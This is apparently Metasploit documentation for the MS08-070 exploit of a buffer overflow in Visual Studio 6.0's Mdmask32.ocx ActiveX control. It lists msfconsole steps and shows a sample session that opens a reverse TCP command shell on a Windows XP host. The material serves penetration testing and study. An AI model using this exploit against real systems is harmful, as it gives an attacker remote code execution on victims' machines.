## Vulnerable Application

This module exploits a stack buffer overflow in Microsoft Visual
Studio 6.0. When passing a specially crafted string to the Mask
parameter of the Mdmask32.ocx ActiveX Control, an attacker may
be able to execute arbitrary code.


## Verification Steps

1. Start msfconsole
1. Do: `use exploit/windows/browser/ms08_070_visual_studio_msmask`
1. Do: `set SRVHOST [host]`
1. Do: `set SRVPORT [port]`
1. Do: `set URIPATH [uri]`
1. Do: `set PAYLOAD [payload]`
1. Do: `run`
1. Open the server URL on a vulnerable system


## Options

### URIPATH

The server URI path to use. (default: `/`)


## Scenarios

### Windows XP SP3 (x86) (English)

```
msf > use exploit/windows/browser/ms08_070_visual_studio_msmask
[*] Using configured payload windows/shell/reverse_tcp
msf exploit(windows/browser/ms08_070_visual_studio_msmask) > set srvhost 0.0.0.0
srvhost => 0.0.0.0
msf exploit(windows/browser/ms08_070_visual_studio_msmask) > set srvport 8080
srvport => 8080
msf exploit(windows/browser/ms08_070_visual_studio_msmask) > set lhost 192.168.200.130 
lhost => 192.168.200.130
msf exploit(windows/browser/ms08_070_visual_studio_msmask) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.200.130:4444 
[*] Using URL: http://192.168.200.130:8080/
[*] Server started.
msf exploit(windows/browser/ms08_070_visual_studio_msmask) > 
[*] 192.168.200.173  ms08_070_visual_studio_msmask - Sending Microsoft Visual Studio Mdmask32.ocx ActiveX Stack Buffer Overflow
[*] Sending stage (240 bytes) to 192.168.200.173
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.173:1052) at 2025-06-22 03:01:18 -0400
```
